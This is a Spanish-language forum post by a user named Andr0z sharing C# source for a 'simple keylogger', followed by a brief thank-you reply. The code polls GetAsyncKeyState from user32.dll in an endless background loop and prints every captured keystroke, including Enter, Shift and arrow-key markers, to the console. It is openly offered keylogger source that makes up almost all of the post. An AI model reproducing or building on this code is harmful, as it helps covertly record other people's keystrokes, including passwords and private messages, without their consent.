Keylogger C# Simple

Iniciado por Andr0z, Mayo 30, 2020, 05:47:22 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 30, 2020, 05:47:22 PM Ultima modificación: Mayo 30, 2020, 05:49:54 PM por Andr0z
Keylogger en C#


Código: csharp

using System;

//Uso de Threads
using System.Threading;

//Uso de la libreria para importacion de DLL
using System.Runtime.InteropServices;


namespace Keylogger
{
    class Program
    {
        //Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int key);

        //Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
        int contadorEspacio = 0;

        //String de almacenaje
        public string caracteresTecleados = "";


        //Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
        public void esperarTecla()
        {
            int tecla=0;
            while(true)
            {
                for(tecla=8;tecla<128;tecla++)
                {
                    if (GetAsyncKeyState(tecla)==-32767)
                    {
                        this.mostrarTecla(tecla);
                    }
                }
            }
           
        }


        //Recupera la tecla virual presionada y la muestra en consola
        public void mostrarTecla(int keyCode)
        {
            switch(keyCode)
            {
                case 8:
                    if(!string.IsNullOrEmpty(this.caracteresTecleados))
                    {
                        this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
                    }
                    break;
                case 9:
                    this.caracteresTecleados = "    ";
                    break;
                case 13:
                    this.caracteresTecleados += " [ENTER] ";
                    break;
                case 16:
                    this.caracteresTecleados += " [SHIFT] ";
                    break;
                case 20:
                    this.caracteresTecleados += " [B_MAYUS] ";
                    break;
                case 37:
                    this.caracteresTecleados += " [<] ";
                    break;
                case 38:
                    this.caracteresTecleados += " [^] ";
                    break;
                case 39:
                    this.caracteresTecleados += " [>] ";
                    break;
                case 40:
                    this.caracteresTecleados += " [v] ";
                    break;
                default:
                    this.caracteresTecleados += (char)keyCode;
                    break;
            }
            contadorEspacio++;
            if(this.caracteresTecleados.Length >=1)
            {
                if (contadorEspacio== 120)
                {
                    Console.WriteLine();
                    contadorEspacio = 0;
                }
                Console.Write(this.caracteresTecleados);
                this.caracteresTecleados = "";
            }
        }

        //Uso de threads para la ejecución del método "esperarTecla"
        public void threadEjecucion()
        {
            new Thread(new ThreadStart(esperarTecla)).Start();
        }

        public static void Main()
        {
            Program logging = new Program();
            logging.threadEjecucion();
        }
    }
}

Gracias amigo despues le hechare un ojo al codigo  :o